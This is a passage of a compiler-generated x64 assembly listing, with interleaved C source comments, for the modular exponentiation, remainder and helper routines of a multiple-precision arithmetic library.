mov rdx, QWORD PTR work_v_buf_code$[rbp]
mov rcx, QWORD PTR work_v_buf$[rbp]
call CheckBlockLight
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN31@ModulePowe
; 378 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp $LN1@ModulePowe
$LN31@ModulePowe:
; 379 : if ((result = CheckBlockLight(q_buf, q_buf_code)) != PMC_STATUS_OK)
mov rdx, QWORD PTR q_buf_code$[rbp]
mov rcx, QWORD PTR q_buf$[rbp]
call CheckBlockLight
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN32@ModulePowe
; 380 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp $LN1@ModulePowe
$LN32@ModulePowe:
; 381 : if ((result = CheckBlockLight(work_1_buf, work_1_buf_code)) != PMC_STATUS_OK)
mov rdx, QWORD PTR work_1_buf_code$[rbp]
mov rcx, QWORD PTR work_1_buf$[rbp]
call CheckBlockLight
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN33@ModulePowe
; 382 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp $LN1@ModulePowe
$LN33@ModulePowe:
; 383 : if ((result = CheckBlockLight(work_2_buf, work_2_buf_code)) != PMC_STATUS_OK)
mov rdx, QWORD PTR work_2_buf_code$[rbp]
mov rcx, QWORD PTR work_2_buf$[rbp]
call CheckBlockLight
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN34@ModulePowe
; 384 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp $LN1@ModulePowe
$LN34@ModulePowe:
; 385 : SwapPointer(&u_ptr, &w_ptr);
lea rdx, QWORD PTR w_ptr$[rbp]
lea rcx, QWORD PTR u_ptr$[rbp]
call SwapPointer
; 386 : u_count = m_count;
mov rax, QWORD PTR m_count$[rbp]
mov QWORD PTR u_count$[rbp], rax
$LN6@ModulePowe:
; 387 : while (u_count > 0 && u_ptr[u_count - 1] == 0)
cmp QWORD PTR u_count$[rbp], 0
jbe SHORT $LN7@ModulePowe
mov rax, QWORD PTR u_ptr$[rbp]
mov rcx, QWORD PTR u_count$[rbp]
cmp QWORD PTR [rax+rcx*8-8], 0
jne SHORT $LN7@ModulePowe
; 388 : --u_count;
mov rax, QWORD PTR u_count$[rbp]
dec rax
mov QWORD PTR u_count$[rbp], rax
jmp SHORT $LN6@ModulePowe
$LN7@ModulePowe:
; 389 :
; 390 : if (u_count <= 0)
cmp QWORD PTR u_count$[rbp], 0
ja $LN35@ModulePowe
; 391 : {
; 392 : // 剰余が 0 になった場合はこれ以上続行しても解が 0 以外にはならないので、処理を中断して 0 を返す
; 393 : DeallocateNumber(*r);
mov rax, QWORD PTR r$[rbp]
mov rcx, QWORD PTR [rax]
call DeallocateNumber
; 394 : DeallocateBlock(q_buf, q_buf_words);
mov rdx, QWORD PTR q_buf_words$[rbp]
mov rcx, QWORD PTR q_buf$[rbp]
call DeallocateBlock
; 395 : DeallocateBlock(work_v_buf, work_v_buf_words);
mov rdx, QWORD PTR work_v_buf_words$[rbp]
mov rcx, QWORD PTR work_v_buf$[rbp]
call DeallocateBlock
; 396 : DeallocateBlock(work_2_buf, work_2_buf_words);
mov rdx, QWORD PTR work_2_buf_words$[rbp]
mov rcx, QWORD PTR work_2_buf$[rbp]
call DeallocateBlock
; 397 : DeallocateBlock(work_1_buf, work_1_buf_words);
mov rdx, QWORD PTR work_1_buf_words$[rbp]
mov rcx, QWORD PTR work_1_buf$[rbp]
call DeallocateBlock
; 398 : DeallocateBlock(v_2_buf, v_2_buf_words);
mov rdx, QWORD PTR v_2_buf_words$[rbp]
mov rcx, QWORD PTR v_2_buf$[rbp]
call DeallocateBlock
; 399 : *r = &number_zero;
mov rax, QWORD PTR r$[rbp]
lea rcx, OFFSET FLAT:number_zero
mov QWORD PTR [rax], rcx
; 400 : #ifdef DO_TRACE
; 401 : ReportOUT(*r);
; 402 : #endif
; 403 : return (PMC_STATUS_OK);
xor eax, eax
jmp $LN1@ModulePowe
$LN35@ModulePowe:
$LN30@ModulePowe:
; 404 : }
; 405 : }
; 406 : #ifdef DO_TRACE
; 407 : ReportDump("w", u_ptr, u_count);
; 408 : #endif
; 409 :
; 410 : #ifdef DO_TRACE
; 411 : ReportLabel("e のビット検査");
; 412 : ReportDump("e", e->BLOCK, e->UNIT_WORD_COUNT);
; 413 : ReportVar("e_count", e_count);
; 414 : ReportVar("e_mask", e_mask);
; 415 : ReportVar("e_mask & e->BLOCK[e_count - 1]", e_mask & e->BLOCK[e_count - 1]);
; 416 : #endif
; 417 : if (e_mask & e->BLOCK[e_count - 1])
mov rax, QWORD PTR e$[rbp]
mov rax, QWORD PTR [rax+56]
mov rcx, QWORD PTR e_count$[rbp]
mov rax, QWORD PTR [rax+rcx*8-8]
mov rcx, QWORD PTR e_mask$[rbp]
and rcx, rax
mov rax, rcx
test rax, rax
je $LN36@ModulePowe
; 418 : {
; 419 : // e の当該桁のビットが立っている場合
; 420 :
; 421 : #ifdef DO_TRACE
; 422 : ReportLabel("w := u * v");
; 423 : ReportDump("u", u_ptr, u_count);
; 424 : ReportDump("v", v_ptr, v_count);
; 425 : #endif
; 426 :
; 427 : // w := u * v を計算する
; 428 : _ZERO_MEMORY_UNIT(w_ptr, work_1_buf_words);
mov rdx, QWORD PTR work_1_buf_words$[rbp]
mov rcx, QWORD PTR w_ptr$[rbp]
call _ZERO_MEMORY_UNIT
; 429 : Multiply_X_X_Imp(u_ptr, u_count, v_ptr, v_count, w_ptr);
mov rax, QWORD PTR w_ptr$[rbp]
mov QWORD PTR [rsp+32], rax
mov r9, QWORD PTR v_count$[rbp]
mov r8, QWORD PTR v_ptr$[rbp]
mov rdx, QWORD PTR u_count$[rbp]
mov rcx, QWORD PTR u_ptr$[rbp]
call Multiply_X_X_Imp
; 430 : if ((result = CheckBlockLight(work_1_buf, work_1_buf_code)) != PMC_STATUS_OK)
mov rdx, QWORD PTR work_1_buf_code$[rbp]
mov rcx, QWORD PTR work_1_buf$[rbp]
call CheckBlockLight
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN37@ModulePowe
; 431 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp $LN1@ModulePowe
$LN37@ModulePowe:
; 432 : if ((result = CheckBlockLight(work_2_buf, work_2_buf_code)) != PMC_STATUS_OK)
mov rdx, QWORD PTR work_2_buf_code$[rbp]
mov rcx, QWORD PTR work_2_buf$[rbp]
call CheckBlockLight
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN38@ModulePowe
; 433 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp $LN1@ModulePowe
$LN38@ModulePowe:
; 434 : SwapPointer(&u_ptr, &w_ptr);
lea rdx, QWORD PTR w_ptr$[rbp]
lea rcx, QWORD PTR u_ptr$[rbp]
call SwapPointer
; 435 : u_count += v_count;
mov rax, QWORD PTR v_count$[rbp]
mov rcx, QWORD PTR u_count$[rbp]
add rcx, rax
mov rax, rcx
mov QWORD PTR u_count$[rbp], rax
; 436 : if (u_ptr[u_count - 1] == 0)
mov rax, QWORD PTR u_ptr$[rbp]
mov rcx, QWORD PTR u_count$[rbp]
cmp QWORD PTR [rax+rcx*8-8], 0
jne SHORT $LN39@ModulePowe
; 437 : --u_count;
mov rax, QWORD PTR u_count$[rbp]
dec rax
mov QWORD PTR u_count$[rbp], rax
$LN39@ModulePowe:
; 438 : #ifdef DO_TRACE
; 439 : ReportDump("w", u_ptr, u_count);
; 440 : #endif
; 441 :
; 442 : // w := u % m を計算する
; 443 :
; 444 : #ifdef DO_TRACE
; 445 : ReportLabel("w := u % m");
; 446 : ReportDump("u", u_ptr, u_count);
; 447 : ReportDump("m", m_buf, m_count);
; 448 : #endif
; 449 : if (u_count >= m_count)
mov rax, QWORD PTR m_count$[rbp]
cmp QWORD PTR u_count$[rbp], rax
jb $LN40@ModulePowe
; 450 : {
; 451 : _ZERO_MEMORY_UNIT(work_v_buf, work_v_buf_words);
mov rdx, QWORD PTR work_v_buf_words$[rbp]
mov rcx, QWORD PTR work_v_buf$[rbp]
call _ZERO_MEMORY_UNIT
; 452 : _ZERO_MEMORY_UNIT(q_buf, q_buf_words);
mov rdx, QWORD PTR q_buf_words$[rbp]
mov rcx, QWORD PTR q_buf$[rbp]
call _ZERO_MEMORY_UNIT
; 453 : _ZERO_MEMORY_UNIT(w_ptr, work_1_buf_words);
mov rdx, QWORD PTR work_1_buf_words$[rbp]
mov rcx, QWORD PTR w_ptr$[rbp]
call _ZERO_MEMORY_UNIT
; 454 : DivRem_X_X(u_ptr, u_count, m_buf, m_count, work_v_buf, q_buf, w_ptr);
mov rax, QWORD PTR w_ptr$[rbp]
mov QWORD PTR [rsp+48], rax
mov rax, QWORD PTR q_buf$[rbp]
mov QWORD PTR [rsp+40], rax
mov rax, QWORD PTR work_v_buf$[rbp]
mov QWORD PTR [rsp+32], rax
mov r9, QWORD PTR m_count$[rbp]
mov r8, QWORD PTR m_buf$[rbp]
mov rdx, QWORD PTR u_count$[rbp]
mov rcx, QWORD PTR u_ptr$[rbp]
call DivRem_X_X
; 455 : if ((result = CheckBlockLight(work_v_buf, work_v_buf_code)) != PMC_STATUS_OK)
mov rdx, QWORD PTR work_v_buf_code$[rbp]
mov rcx, QWORD PTR work_v_buf$[rbp]
call CheckBlockLight
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN41@ModulePowe
; 456 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp $LN1@ModulePowe
$LN41@ModulePowe:
; 457 : if ((result = CheckBlockLight(q_buf, q_buf_code)) != PMC_STATUS_OK)
mov rdx, QWORD PTR q_buf_code$[rbp]
mov rcx, QWORD PTR q_buf$[rbp]
call CheckBlockLight
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN42@ModulePowe
; 458 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp $LN1@ModulePowe
$LN42@ModulePowe:
; 459 : if ((result = CheckBlockLight(work_1_buf, work_1_buf_code)) != PMC_STATUS_OK)
mov rdx, QWORD PTR work_1_buf_code$[rbp]
mov rcx, QWORD PTR work_1_buf$[rbp]
call CheckBlockLight
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN43@ModulePowe
; 460 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp $LN1@ModulePowe
$LN43@ModulePowe:
; 461 : if ((result = CheckBlockLight(work_2_buf, work_2_buf_code)) != PMC_STATUS_OK)
mov rdx, QWORD PTR work_2_buf_code$[rbp]
mov rcx, QWORD PTR work_2_buf$[rbp]
call CheckBlockLight
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN44@ModulePowe
; 462 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp $LN1@ModulePowe
$LN44@ModulePowe:
; 463 : SwapPointer(&u_ptr, &w_ptr);
lea rdx, QWORD PTR w_ptr$[rbp]
lea rcx, QWORD PTR u_ptr$[rbp]
call SwapPointer
; 464 : u_count = m_count;
mov rax, QWORD PTR m_count$[rbp]
mov QWORD PTR u_count$[rbp], rax
$LN8@ModulePowe:
; 465 : while (u_count > 0 && u_ptr[u_count - 1] == 0)
cmp QWORD PTR u_count$[rbp], 0
jbe SHORT $LN9@ModulePowe
mov rax, QWORD PTR u_ptr$[rbp]
mov rcx, QWORD PTR u_count$[rbp]
cmp QWORD PTR [rax+rcx*8-8], 0
jne SHORT $LN9@ModulePowe
; 466 : --u_count;
mov rax, QWORD PTR u_count$[rbp]
dec rax
mov QWORD PTR u_count$[rbp], rax
jmp SHORT $LN8@ModulePowe
$LN9@ModulePowe:
; 467 :
; 468 : if (u_count <= 0)
cmp QWORD PTR u_count$[rbp], 0
ja $LN45@ModulePowe
; 469 : {
; 470 : // 剰余が 0 になった場合はこれ以上続行しても解が 0 以外にはならないので、処理を中断して 0 を返す
; 471 : DeallocateNumber(*r);
mov rax, QWORD PTR r$[rbp]
mov rcx, QWORD PTR [rax]
call DeallocateNumber
; 472 : DeallocateBlock(q_buf, q_buf_words);
mov rdx, QWORD PTR q_buf_words$[rbp]
mov rcx, QWORD PTR q_buf$[rbp]
call DeallocateBlock
; 473 : DeallocateBlock(work_v_buf, work_v_buf_words);
mov rdx, QWORD PTR work_v_buf_words$[rbp]
mov rcx, QWORD PTR work_v_buf$[rbp]
call DeallocateBlock
; 474 : DeallocateBlock(work_2_buf, work_2_buf_words);
mov rdx, QWORD PTR work_2_buf_words$[rbp]
mov rcx, QWORD PTR work_2_buf$[rbp]
call DeallocateBlock
; 475 : DeallocateBlock(work_1_buf, work_1_buf_words);
mov rdx, QWORD PTR work_1_buf_words$[rbp]
mov rcx, QWORD PTR work_1_buf$[rbp]
call DeallocateBlock
; 476 : DeallocateBlock(v_2_buf, v_2_buf_words);
mov rdx, QWORD PTR v_2_buf_words$[rbp]
mov rcx, QWORD PTR v_2_buf$[rbp]
call DeallocateBlock
; 477 : *r = &number_zero;
mov rax, QWORD PTR r$[rbp]
lea rcx, OFFSET FLAT:number_zero
mov QWORD PTR [rax], rcx
; 478 : #ifdef DO_TRACE
; 479 : ReportOUT(*r);
; 480 : #endif
; 481 : return (PMC_STATUS_OK);
xor eax, eax
jmp $LN1@ModulePowe
$LN45@ModulePowe:
$LN40@ModulePowe:
$LN36@ModulePowe:
; 482 : }
; 483 : }
; 484 : #ifdef DO_TRACE
; 485 : ReportDump("w", u_ptr, u_count);
; 486 : #endif
; 487 : }
; 488 : }
jmp $LN4@ModulePowe
$LN5@ModulePowe:
; 489 :
; 490 : // 最下位桁まで達したので u_ptr と u_count を解として帰る
; 491 : _COPY_MEMORY_UNIT((*r)->BLOCK, u_ptr, u_count);
mov rax, QWORD PTR r$[rbp]
mov rax, QWORD PTR [rax]
mov r8, QWORD PTR u_count$[rbp]
mov rdx, QWORD PTR u_ptr$[rbp]
mov rcx, QWORD PTR [rax+56]
call _COPY_MEMORY_UNIT
; 492 : if ((result = CheckBlockLight((*r)->BLOCK, r_check_code)) != PMC_STATUS_OK)
mov rax, QWORD PTR r$[rbp]
mov rax, QWORD PTR [rax]
mov rdx, QWORD PTR r_check_code$[rbp]
mov rcx, QWORD PTR [rax+56]
call CheckBlockLight
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN46@ModulePowe
; 493 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp SHORT $LN1@ModulePowe
$LN46@ModulePowe:
; 494 : CommitNumber(*r);
mov rax, QWORD PTR r$[rbp]
mov rcx, QWORD PTR [rax]
call CommitNumber
; 495 : DeallocateBlock(q_buf, q_buf_words);
mov rdx, QWORD PTR q_buf_words$[rbp]
mov rcx, QWORD PTR q_buf$[rbp]
call DeallocateBlock
; 496 : DeallocateBlock(work_v_buf, work_v_buf_words);
mov rdx, QWORD PTR work_v_buf_words$[rbp]
mov rcx, QWORD PTR work_v_buf$[rbp]
call DeallocateBlock
; 497 : DeallocateBlock(work_2_buf, work_2_buf_words);
mov rdx, QWORD PTR work_2_buf_words$[rbp]
mov rcx, QWORD PTR work_2_buf$[rbp]
call DeallocateBlock
; 498 : DeallocateBlock(work_1_buf, work_1_buf_words);
mov rdx, QWORD PTR work_1_buf_words$[rbp]
mov rcx, QWORD PTR work_1_buf$[rbp]
call DeallocateBlock
; 499 : DeallocateBlock(v_2_buf, v_2_buf_words);
mov rdx, QWORD PTR v_2_buf_words$[rbp]
mov rcx, QWORD PTR v_2_buf$[rbp]
call DeallocateBlock
; 500 : #ifdef DO_TRACE
; 501 : ReportOUT(*r);
; 502 : #endif
; 503 : return (PMC_STATUS_OK);
xor eax, eax
$LN1@ModulePowe:
; 504 : }
mov rdi, rax
lea rcx, QWORD PTR [rbp-64]
lea rdx, OFFSET FLAT:ModulePower$rtcFrameData
call _RTC_CheckStackVars
mov rax, rdi
lea rsp, QWORD PTR [rbp+1640]
pop rdi
pop rbp
ret 0
ModulePower ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_modpow.c
; COMDAT Remainder
_TEXT SEGMENT
result$ = 4
work_v_buf_code$8 = 40
work_v_buf_words$9 = 72
work_v_buf$10 = 104
q_buf_code$11 = 136
q_buf_words$12 = 168
q_buf$13 = 200
r_check_code$14 = 232
u$ = 480
v$ = 488
r$ = 496
Remainder PROC ; COMDAT
; 105 : {
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 520 ; 00000208H
lea rbp, QWORD PTR [rsp+64]
mov rdi, rsp
mov ecx, 130 ; 00000082H
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+552]
lea rcx, OFFSET FLAT:__54B479F5_pmc_modpow@c
call __CheckForDebuggerJustMyCode
; 106 : PMC_STATUS_CODE result;
; 107 :
; 108 : if (u->UNIT_BIT_COUNT < v->UNIT_BIT_COUNT)
mov rax, QWORD PTR u$[rbp]
mov rcx, QWORD PTR v$[rbp]
mov rcx, QWORD PTR [rcx+16]
cmp QWORD PTR [rax+16], rcx
jae SHORT $LN2@Remainder
; 109 : {
; 110 : if ((result = DuplicateNumber(u, r)) != PMC_STATUS_OK)
mov rdx, QWORD PTR r$[rbp]
mov rcx, QWORD PTR u$[rbp]
call DuplicateNumber
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN4@Remainder
; 111 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp $LN1@Remainder
$LN4@Remainder:
; 112 : }
jmp $LN3@Remainder
$LN2@Remainder:
; 113 : else
; 114 : {
; 115 : __UNIT_TYPE work_v_buf_code;
; 116 : __UNIT_TYPE work_v_buf_words;
; 117 : __UNIT_TYPE* work_v_buf = AllocateBlock(v->UNIT_BIT_COUNT, &work_v_buf_words, &work_v_buf_code);
lea r8, QWORD PTR work_v_buf_code$8[rbp]
lea rdx, QWORD PTR work_v_buf_words$9[rbp]
mov rax, QWORD PTR v$[rbp]
mov rcx, QWORD PTR [rax+16]
call AllocateBlock
mov QWORD PTR work_v_buf$10[rbp], rax
; 118 : if (work_v_buf == NULL)
cmp QWORD PTR work_v_buf$10[rbp], 0
jne SHORT $LN5@Remainder
; 119 : {
; 120 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
mov eax, -5
jmp $LN1@Remainder
$LN5@Remainder:
; 121 : }
; 122 : __UNIT_TYPE q_buf_code;
; 123 : __UNIT_TYPE q_buf_words;
; 124 : __UNIT_TYPE* q_buf = AllocateBlock(u->UNIT_BIT_COUNT - v->UNIT_BIT_COUNT + 1 + __UNIT_TYPE_BIT_COUNT, &q_buf_words, &q_buf_code);
mov rax, QWORD PTR u$[rbp]
mov rcx, QWORD PTR v$[rbp]
mov rcx, QWORD PTR [rcx+16]
mov rax, QWORD PTR [rax+16]
sub rax, rcx
add rax, 65 ; 00000041H
lea r8, QWORD PTR q_buf_code$11[rbp]
lea rdx, QWORD PTR q_buf_words$12[rbp]
mov rcx, rax
call AllocateBlock
mov QWORD PTR q_buf$13[rbp], rax
; 125 : if (q_buf == NULL)
cmp QWORD PTR q_buf$13[rbp], 0
jne SHORT $LN6@Remainder
; 126 : {
; 127 : DeallocateBlock(work_v_buf, work_v_buf_words);
mov rdx, QWORD PTR work_v_buf_words$9[rbp]
mov rcx, QWORD PTR work_v_buf$10[rbp]
call DeallocateBlock
; 128 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
mov eax, -5
jmp $LN1@Remainder
$LN6@Remainder:
; 129 : }
; 130 : __UNIT_TYPE r_check_code;
; 131 : if ((result = AllocateNumber(r, u->UNIT_BIT_COUNT + __UNIT_TYPE_BIT_COUNT, &r_check_code)) != PMC_STATUS_OK)
mov rax, QWORD PTR u$[rbp]
mov rax, QWORD PTR [rax+16]
add rax, 64 ; 00000040H
lea r8, QWORD PTR r_check_code$14[rbp]
mov rdx, rax
mov rcx, QWORD PTR r$[rbp]
call AllocateNumber
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN7@Remainder
; 132 : {
; 133 : DeallocateBlock(q_buf, q_buf_words);
mov rdx, QWORD PTR q_buf_words$12[rbp]
mov rcx, QWORD PTR q_buf$13[rbp]
call DeallocateBlock
; 134 : DeallocateBlock(work_v_buf, work_v_buf_words);
mov rdx, QWORD PTR work_v_buf_words$9[rbp]
mov rcx, QWORD PTR work_v_buf$10[rbp]
call DeallocateBlock
; 135 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
mov eax, -5
jmp $LN1@Remainder
$LN7@Remainder:
; 136 : }
; 137 :
; 138 : if (u->UNIT_WORD_COUNT < v->UNIT_WORD_COUNT)
mov rax, QWORD PTR u$[rbp]
mov rcx, QWORD PTR v$[rbp]
mov rcx, QWORD PTR [rcx+8]
cmp QWORD PTR [rax+8], rcx
jae SHORT $LN8@Remainder
; 139 : {
; 140 : q_buf[0] = 0;
mov eax, 8
imul rax, rax, 0
mov rcx, QWORD PTR q_buf$13[rbp]
mov QWORD PTR [rcx+rax], 0
; 141 : _COPY_MEMORY_UNIT((*r)->BLOCK, u->BLOCK, u->UNIT_WORD_COUNT);
mov rax, QWORD PTR r$[rbp]
mov rax, QWORD PTR [rax]
mov rcx, QWORD PTR u$[rbp]
mov r8, QWORD PTR [rcx+8]
mov rcx, QWORD PTR u$[rbp]
mov rdx, QWORD PTR [rcx+56]
mov rcx, QWORD PTR [rax+56]
call _COPY_MEMORY_UNIT
; 142 : }
jmp $LN9@Remainder
$LN8@Remainder:
; 143 : else
; 144 : {
; 145 : DivRem_X_X(u->BLOCK, u->UNIT_WORD_COUNT, v->BLOCK, v->UNIT_WORD_COUNT, work_v_buf, q_buf, (*r)->BLOCK);
mov rax, QWORD PTR r$[rbp]
mov rax, QWORD PTR [rax]
mov rax, QWORD PTR [rax+56]
mov QWORD PTR [rsp+48], rax
mov rax, QWORD PTR q_buf$13[rbp]
mov QWORD PTR [rsp+40], rax
mov rax, QWORD PTR work_v_buf$10[rbp]
mov QWORD PTR [rsp+32], rax
mov rax, QWORD PTR v$[rbp]
mov r9, QWORD PTR [rax+8]
mov rax, QWORD PTR v$[rbp]
mov r8, QWORD PTR [rax+56]
mov rax, QWORD PTR u$[rbp]
mov rdx, QWORD PTR [rax+8]
mov rax, QWORD PTR u$[rbp]
mov rcx, QWORD PTR [rax+56]
call DivRem_X_X
; 146 : if ((result = CheckBlockLight(work_v_buf, work_v_buf_code)) != PMC_STATUS_OK)
mov rdx, QWORD PTR work_v_buf_code$8[rbp]
mov rcx, QWORD PTR work_v_buf$10[rbp]
call CheckBlockLight
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN10@Remainder
; 147 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp SHORT $LN1@Remainder
$LN10@Remainder:
; 148 : if ((result = CheckBlockLight(q_buf, q_buf_code)) != PMC_STATUS_OK)
mov rdx, QWORD PTR q_buf_code$11[rbp]
mov rcx, QWORD PTR q_buf$13[rbp]
call CheckBlockLight
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN11@Remainder
; 149 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp SHORT $LN1@Remainder
$LN11@Remainder:
; 150 : if ((result = CheckBlockLight((*r)->BLOCK, r_check_code)) != PMC_STATUS_OK)
mov rax, QWORD PTR r$[rbp]
mov rax, QWORD PTR [rax]
mov rdx, QWORD PTR r_check_code$14[rbp]
mov rcx, QWORD PTR [rax+56]
call CheckBlockLight
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN12@Remainder
; 151 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp SHORT $LN1@Remainder
$LN12@Remainder:
$LN9@Remainder:
; 152 : }
; 153 :
; 154 : DeallocateBlock(q_buf, q_buf_words);
mov rdx, QWORD PTR q_buf_words$12[rbp]
mov rcx, QWORD PTR q_buf$13[rbp]
call DeallocateBlock
; 155 : DeallocateBlock(work_v_buf, work_v_buf_words);
mov rdx, QWORD PTR work_v_buf_words$9[rbp]
mov rcx, QWORD PTR work_v_buf$10[rbp]
call DeallocateBlock
; 156 : CommitNumber(*r);
mov rax, QWORD PTR r$[rbp]
mov rcx, QWORD PTR [rax]
call CommitNumber
$LN3@Remainder:
; 157 : }
; 158 : return (PMC_STATUS_OK);
xor eax, eax
$LN1@Remainder:
; 159 : }
mov rdi, rax
lea rcx, QWORD PTR [rbp-64]
lea rdx, OFFSET FLAT:Remainder$rtcFrameData
call _RTC_CheckStackVars
mov rax, rdi
lea rsp, QWORD PTR [rbp+456]
pop rdi
pop rbp
ret 0
Remainder ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_modpow.c
; COMDAT SwapPointer
_TEXT SEGMENT
t$ = 8
u$ = 256
v$ = 264
SwapPointer PROC ; COMDAT
; 98 : {
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 264 ; 00000108H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 66 ; 00000042H
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+296]
lea rcx, OFFSET FLAT:__54B479F5_pmc_modpow@c
call __CheckForDebuggerJustMyCode
; 99 : __UNIT_TYPE* t = *u;
mov rax, QWORD PTR u$[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR t$[rbp], rax
; 100 : *u = *v;
mov rax, QWORD PTR u$[rbp]
mov rcx, QWORD PTR v$[rbp]
mov rcx, QWORD PTR [rcx]
mov QWORD PTR [rax], rcx
; 101 : *v = t;
mov rax, QWORD PTR v$[rbp]
mov rcx, QWORD PTR t$[rbp]
mov QWORD PTR [rax], rcx
; 102 : }
lea rsp, QWORD PTR [rbp+232]
pop rdi
pop rbp
ret 0
SwapPointer ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_modpow.c
; COMDAT Compare_Easy
_TEXT SEGMENT
u$ = 224
u_count$ = 232
v$ = 240
v_count$ = 248
Compare_Easy PROC ; COMDAT
; 88 : {
mov QWORD PTR [rsp+32], r9
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__54B479F5_pmc_modpow@c
call __CheckForDebuggerJustMyCode
; 89 : if (u_count > v_count)
mov rax, QWORD PTR v_count$[rbp]
cmp QWORD PTR u_count$[rbp], rax
jbe SHORT $LN2@Compare_Ea
; 90 : return (1);
mov eax, 1
jmp SHORT $LN1@Compare_Ea
jmp SHORT $LN3@Compare_Ea
$LN2@Compare_Ea:
; 91 : else if (u_count < v_count)
mov rax, QWORD PTR v_count$[rbp]
cmp QWORD PTR u_count$[rbp], rax
jae SHORT $LN4@Compare_Ea
; 92 : return (-1);
mov eax, -1
jmp SHORT $LN1@Compare_Ea
jmp SHORT $LN5@Compare_Ea
$LN4@Compare_Ea:
; 93 : else
; 94 : return (Compare_Imp(u, v, u_count));
mov r8, QWORD PTR u_count$[rbp]
mov rdx, QWORD PTR v$[rbp]
mov rcx, QWORD PTR u$[rbp]
call Compare_Imp
$LN5@Compare_Ea:
$LN3@Compare_Ea:
$LN1@Compare_Ea:
; 95 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
Compare_Easy ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT _LZCNT_ALT_UNIT
_TEXT SEGMENT
pos$ = 4
x$ = 256
_LZCNT_ALT_UNIT PROC ; COMDAT
; 629 : {
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 264 ; 00000108H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 66 ; 00000042H
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+296]
lea rcx, OFFSET FLAT:__6B0481B0_pmc_inline_func@h
call __CheckForDebuggerJustMyCode
; 630 : if (x == 0)
cmp QWORD PTR x$[rbp], 0
jne SHORT $LN2@LZCNT_ALT_
; 631 : return (sizeof(x) * 8);
mov eax, 64 ; 00000040H
jmp SHORT $LN1@LZCNT_ALT_
$LN2@LZCNT_ALT_:
; 632 : #ifdef _M_IX86
; 633 : _UINT32_T pos;
; 634 : #ifdef _MSC_VER
; 635 : _BitScanReverse(&pos, x);
; 636 : #elif defined(__GNUC__)
; 637 : __asm__("bsrl %1, %0" : "=r"(pos) : "rm"(x));
; 638 : #else
; 639 : #error unknown compiler
; 640 : #endif
; 641 : #elif defined(_M_X64)
; 642 : #ifdef _MSC_VER
; 643 : _UINT32_T pos;
; 644 : _BitScanReverse64(&pos, x);
mov rax, QWORD PTR x$[rbp]
bsr rax, rax
